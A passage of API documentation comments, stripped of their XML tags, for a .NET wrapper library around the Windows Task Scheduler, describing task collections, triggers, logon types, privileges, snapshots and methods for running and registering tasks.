index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the objects within the . + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the action to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an action at the specified index. + + The zero-based index at which action should be inserted. + The action to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the action at a specified index. + + Index of action to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the actions in this collection. + + + A that represents the actions in this collection. + + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See details in the remarks for . + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has the Version1 flag set. + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for functionality that was + not forward-compatible. + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version2 flag set. + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive property set to true. + TaskDefinition.Settings.Volatile can be set to true. + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, see Enabled Property of + TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task Scheduler service does + not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration triggers, the task will + not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger is updated, the task + will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant cannot be combined with + the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is used, no password is + stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. The password must be + specified when a task is registered. This flag is not recommended for new tasks because it is less reliable than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege. User Right: + Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a + security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those + values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access + control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the + RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, + FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL + specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any + valid user or group security identifier (SID) as the owner of a file. This privilege is required by the RegLoadKey function. The following access + rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, + FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: Modify firmware + environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It + is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read all objects and + properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and + LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not supported. Note that this + value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for + administrators, services, and the local system account. User Right: Create global objects. Windows XP/2000: This privilege is not supported. Note + that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of process SID in the + IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default discretionary access control list + (DACL) will be modified to allow only the task SID and local system full control and the account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify the type of state + change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by switching users on + the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop Connection program + from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the Remote Desktop Connection + program from a remote computer. + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, see Task Idle Conditions. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value is one minute. If this + value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no value is specified for + this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time allowed is 1 minute. If + this value is TimeSpan.Zero, then the delay will be set to the default of 1 hour. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, if the task failed to + complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than + the value of the property. If the deadline is not specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive mode. The exclusivity is + guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If exclusivity is not specified, the task is + started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials that are used to + register the task, and the properties that describe the task. + + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the current task. If + changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if there were no future + run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all versions will return + DateTime.MinValue if there are no future run times. While this is different from the native 2.0 library, it was deemed more appropriate to + have consistency between the two libraries and with other .NET libraries. + + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + + Gets a value indicating whether this task is read only. Only available if + is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the most recent registration + event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling + from the currently registered folder using the currently registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. Run()). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value specified in this + parameter is ignored.If the value is passed into the flags parameter and the sessionID value is less than or + equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service will try to start the task interactively as + the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service will try to start the task interactively as the + user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. RunEx(0, 0, "MyUserName")). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current task. + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to execute and read a task, + then the user can stop the task. A user can stop the task instances that are running under the same credentials as the user account. In all other + cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the Task Scheduler. + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The 